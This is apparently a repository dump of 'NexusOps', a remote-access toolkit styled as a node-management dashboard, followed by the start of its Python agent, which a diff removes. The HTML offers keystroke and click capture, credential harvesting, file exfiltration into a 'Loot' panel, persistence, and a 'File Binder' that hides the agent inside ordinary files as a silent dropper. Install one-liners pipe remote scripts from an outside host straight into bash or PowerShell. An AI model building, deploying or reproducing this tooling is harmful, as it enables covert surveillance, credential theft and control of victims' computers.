<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
<section class="logs-section" id="lootSection">
<div class="section-header">
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
<div class="loot-tabs">
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
</div>
</div>
<div class="loot-body" id="lootFilesPanel">
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
<div class="loot-body" id="lootCredsPanel" style="display:none;">
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
</div>
<div class="tab-content active" id="tab-universal">
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
<div class="code-block">
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install | bash</code>
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="https://agent.thetempleofdoom.com/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Exfil & Harvest Tab -->
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
</div>
<div class="form-group">
<label>Download File from Target</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
</div>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<div class="form-group" style="margin-top:0.75rem;">
<label>Payload Format</label>
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
<option value="ps1">PowerShell (.ps1) — Windows</option>
<option value="html">HTML Payload (.html) — One-click browser</option>
</select>
</div>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
</div>
</div>
</div>
</div>
</div>
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
<script src="app.js"></script>
<!-- Toast stack -->
<div id="toastStack" class="toast-stack"></div>
<!-- Auth gate overlay -->
<div class="auth-overlay" id="authOverlay" style="display:none;">
<div class="auth-card">
<i class="fa-solid fa-shield-halved auth-icon"></i>
<h2>NexusOps Access</h2>
<p>Enter your operator token to continue.</p>
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
</div>
</div>
<!-- Loot lightbox -->
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
</div>
</body>
</html>

File diff suppressed because one or more lines are too long

Binary file not shown.

View File

@@ -1,863 +0,0 @@
#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""
import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse
last_log_check_time = 0
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False # Suppress banner and exec messages when True
def get_process_count():
"""Get real process count cross-platform."""
system = platform.system().lower()
try:
if system == "linux" or system == "darwin":
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
return len(out.splitlines()) - 1 # minus header
elif system == "windows":
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
return len(out.splitlines()) - 1
except:
pass
return 0
def get_ip_address():
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
system = platform.system().lower()
try:
if system == "darwin":
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
for line in out.splitlines():
if 'inet ' in line and '127.0.0.1' not in line:
parts = line.strip().split()
for i, p in enumerate(parts):
if p == 'inet' and i+1 < len(parts):
return parts[i+1]
elif system == "linux":
# Linux: try ip route to find primary interface
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
for part in out.split():
if part.startswith('src '):
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
except:
pass
# Fallback: connect to 8.8.8.8
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def get_cpu_usage():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/stat', 'r') as f:
fields = [float(column) for column in f.readline().strip().split()[1:]]
idle, total = fields[3], sum(fields)
time.sleep(0.2)
with open('/proc/stat', 'r') as f:
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
idle2, total2 = fields2[3], sum(fields2)
idle_delta = idle2 - idle
total_delta = total2 - total
if total_delta > 0:
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
elif system == "darwin":
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
for line in out.splitlines():
if "CPU usage" in line:
parts = line.split()
user = float(parts[2].replace('%', ''))
sys_c = float(parts[4].replace('%', ''))
return round(user + sys_c, 1)
elif system == "windows":
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
if lines:
return float(lines[0])
except Exception:
pass
return 15.0
def get_memory_usage():
system = platform.system().lower()
try:
if system == "linux":
meminfo = {}
with open('/proc/meminfo', 'r') as f:
for line in f:
parts = line.split(':')
if len(parts) == 2:
key = parts[0].strip()
val = int(parts[1].split()[0])
meminfo[key] = val
total = meminfo.get('MemTotal', 1)
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
return round(((total - free) / total) * 100.0, 1)
elif system == "darwin":
# Use vm_stat for real memory usage on macOS
try:
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
pages = {}
for line in out.splitlines():
if ':' in line:
k, v = line.split(':', 1)
try:
pages[k.strip()] = int(v.strip().rstrip('.'))
except ValueError:
pass
page_size = 16384 # Default macOS page size
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
total_pages = free + used + pages.get('Pages purgeable', 0)
if total_pages > 0:
return round((used / total_pages) * 100.0, 1)
except:
pass
# Fallback: use sysctl for hardware info
try:
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
total_bytes = int(out.strip())
# Use vm_stat pages * page_size for used estimate
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
import re
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
used_bytes = (active + wired) * 16384
if total_bytes > 0:
return round((used_bytes / total_bytes) * 100.0, 1)
except:
pass
return 45.0
elif system == "windows":
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
d = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
d[k.strip()] = float(v.strip())
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
total = d['TotalVisibleMemorySize']
free = d['FreePhysicalMemory']
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 35.0
def get_disk_usage():
try:
if hasattr(os, 'statvfs'):
st = os.statvfs('/')
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
if total > 0:
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 40.0
def get_uptime_seconds():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/uptime', 'r') as f:
return int(float(f.readline().split()[0]))
elif system == "darwin":
# macOS: use sysctl to get boot time, compute uptime
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
import re
m = re.search(r'sec\s*=\s*(\d+)', out)
if m:
boot_time = int(m.group(1))
return int(time.time() - boot_time)
except Exception:
pass
return 3600
def collect_recent_system_logs():
system = platform.system().lower()
log_entries = []
try:
if system == "linux":
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
elif system == "windows":
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
except Exception:
pass
return log_entries
def http_post(url, data_dict):
json_bytes = json.dumps(data_dict).encode('utf-8')
req = urllib.request.Request(
url,
data=json_bytes,
headers={
'Content-Type': 'application/json',
'User-Agent': 'NexusOps-Agent/1.0'
}
)
try:
with urllib.request.urlopen(req, timeout=5) as response:
res_text = response.read().decode('utf-8')
return json.loads(res_text)
except Exception as e:
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
if system == "linux":
cmd = f"systemctl {action} {service}"
elif system == "windows":
cmd = f"powershell {action}-Service -Name {service}"
else:
cmd = f"launchctl {action} {service}"
return run_shell(cmd)
elif action_type == "list_processes":
if system == "linux":
cmd = "ps aux --sort=-%cpu | head -n 15"
elif system == "darwin":
cmd = "ps aux -r | head -n 15"
else:
cmd = "tasklist"
return run_shell(cmd)
elif action_type == "kill_process":
pid = payload.get("pid")
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
return run_shell(cmd)
elif action_type == "get_logs":
lines = payload.get("lines", 50)
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
return run_shell(cmd)
elif action_type == "network_stats":
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
return run_shell(cmd)
# 10 NEW CROSS-PLATFORM FEATURES:
elif action_type == "get_env_vars":
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
return env_str, 0
elif action_type == "get_disk_partitions":
